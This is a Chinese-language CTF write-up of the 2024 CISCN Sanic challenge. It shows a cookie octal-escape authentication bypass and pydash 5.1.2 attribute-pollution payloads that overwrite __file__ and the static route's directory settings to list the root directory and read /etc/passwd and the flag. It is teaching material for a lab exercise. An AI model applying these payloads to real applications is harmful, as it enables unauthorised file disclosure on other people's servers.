2024CISCN Sanic复现
Sanic框架介绍
Sanic 是一个基于 Python 的高性能异步 Web 框架,利用 Python 的 async/await 语法实现非阻塞、高并发请求处理。它设计轻量、易用,支持快速定义路由、中间件和 WebSocket,适合构建现代化、响应迅速的 Web 应用和 API,性能在 Python Web 框架中处于领先地位
简单示例
1 | from sanic import Sanic |
题目复现
这里我们用ctfshow的环境来复现
起点
打开网站后访问/src获取源码
1 | from sanic import Sanic |
发现/admin路由有pydash.set_(pollute, key, value),且题目特意标明pydash==5.1.2,网上搜索可知可以用于参数污染,我们尝试污染__file__,但是需要先满足request.ctx.session.get('admin') == True
先看/login
1 |
|
在cookie接受参数user,当user.lower() == 'adm;n'时返回true,但是直接传adm;n肯定是不行的,分号会截断内容
环境准备
这时我们可以分析一下代码,简单讲一下环境配置
在源码中可以看到导入的依赖文件

先创建并激活虚拟环境
1 | python -m venv venv |
接着安装依赖
1 | pip install sanic sanic-session pydash==5.1.2 |
然后PyCharm打开site-packages文件即可

绕过方法
在sanic/cookies/request.py可以看到有关cookie的解码逻辑

可以看到这里将八进制转换为ASCII编码,然后开头要求字符串两端为双引号,那就很好绕过了,分号的八进制编码为\073,在/login处传入Cookie
1 | user="adm\073n" |

成功登录
接着就是源码里的if key and value and type(key) is str and '_.' not in key:判断,要求不能出现_.,继续分析代码,在
pydash/utilities.py找到方法to_path_tokens

跟进RE_PATH_KEY_DELIM,可以看到

正则里的 (?<!\\) 是“负向零宽断言”,意思是匹配点号的这个位置,前面不能是单个反斜杠 \,然后(?:\\\\)* 是匹配偶数个反斜杠,因为每两个 \ 表示一个反斜杠,两个反斜杠的成对出现会让点号有效,也就是说前面有成对的反斜杠不算转义,例如__init__\\\\.__globals__会解析为__init__.__globals__,解析时点号正常分割
那_.的问题就解决了,可以开始进行污染链的构造了
污染链构造
先在/login处传入Cookie,获取session的值,浏览器会自动保存

接着我们构造链子读取文件,用HackBar的话记得要将enctype改为application/json
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"} |

然后重新访问/src目录,成功污染

尝试污染路径为根目录下的flag,发现不行,说明flag要么不在这里要么不叫这个名字,而污染__file__只能是读取文件,那先放着,换个思路试试
继续分析,在源码处可以看到app.static这个注册路由,我们在本地site-packages目录创建个文件(main.py),把题目源码复制进去,方便后续分析
先看看static的定义

在注释处可以看到有两个关键参数说明

意思大概是directory_view为true时,会开启列目录功能,而directory_handler可以获取指定的目录
跟进directory_handler,这里我们要找directory_handler是如何定义的

可以看到有个方法DirectoryHandler,继续跟进看看

成功找到值的初始化定义,我们想办法污染这两个参数,让directory_view为true,然后directory为我们想要的目录
但是我们应该通过什么进行污染,为了进一步分析,我们需要在本地进行调试,这里简单改一下源码(main.py),把鉴权代码全部注释掉方便后续调试
1 | from sanic import Sanic |
在src处打断点

然后重新访问/src,我们要分析的是与路由有关的方法和变量,需要知道的是,app.router 是 Sanic 中管理所有路由的对象,负责存储和调度请求对应的处理函数,找到app.router

有点多,看着会有点晕,不过因为directory_view是在static方法下,所以我们找有关static的路由即可,发现name_index、routes_all等符合条件

然后我们修改src代码,方便后续调试
1 |
|
name_index 是一个内部字典,键是路由的名字,值是这个路由对应的路由对象。我们可以通过app.router.name_index[]来查看注册路由
1 | http://127.0.0.1:8000/src?code=print(app.router.name_index) |

__mp_main__.static对应的路径为static/<__file_uri__:path>,意味着它会匹配 /static/ 目录下的文件请求,我们可以通过app.router.name_index['__mp_main__.static']查看具体信息

接下来分析如何调用到DirectoryHandler里,全局搜索name_index,看看是如何定义的

我们在这里打个断点,然后回到main.py进行调试分析

可以看到具体的属性

我们直接读取directory_view的值看看
1 | http://127.0.0.1:8000/src?code=print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view) |

可以看到返回值为false,尝试污染参数试试,因为__mp_main__.static这个路由名称本身就含有.,点号不是分隔符,因此用两个反斜杠即可
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":true} |

再次查看参数值,可以看到成功污染

在当前目录新建/static/目录(随便放个文件),然后浏览器访问测试,成功查看到内容

如果我们尝试用routes_all的话会发现不行,可以自行测试看看
接下来就是污染directory的路径,但是却发现报错了
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory","value":"/"} |

说明不能这样子污染,我们继续调试代码,发现是directory对象的parts属性控制的值,但这是个元组,不能直接修改

那我们回到directory.py分析directory是如何定义的,可以看到有个Path方法

跟进Path方法,然后定位到__new__ 方法,当用户通过 Path() 创建路径对象时会自动调用__new__方法
这里有个需要注意的点,如果你用的Python版本比较新(例如Python3.12),则__new__ 方法内容如下

完全没有可利用的点,在这里卡了很久,跟网上的教程案例不太一样,后面发现是新版本修复了这里,可以通过降低Python版本解决(如Python3.9),但是之前用Python3.12创建的venv环境就不能用了,需要重新创建一个,有点麻烦

发现调用了_from_parts方法,继续跟进

其中self._parts = parts 里的 parts 是 _parse_args 方法解析传入路径参数后得到的路径组成部分列表,假如args 为('usr/local/bin',),那么_parse_args 会把它切分为三部分:drv为空,root为空,parts 为 ['usr', 'local', 'bin']
parts会把值传给_parts,我们看能不能控制,尝试访问_parts属性

返回了数组而不是元组,也就是说可以进行修改了,我们可以通过污染_parts来指定目录

1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":["E:\\test"]} |
传入后再重新读取_parts属性,成功修改

本地调试完了,咱们重新回到ctfshow
最终利用
先访问/login传入Cookie登录
1 | user="adm\073n" |

然后污染directory_view为true
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":true} |
接着污染directory._parts为根目录
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":["/"]} |
再次访问/static/查看根目录内容

可以看到flag名为24bcbd0192e591d6ded1_flag,我们污染__file__为目标文件路径
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"} |
然后访问/src读取即可

至此复现完成,前前后后在网上参考了很多资料,确实挺难的,不过收获挺大,继续加油
2024CISCN Sanic复现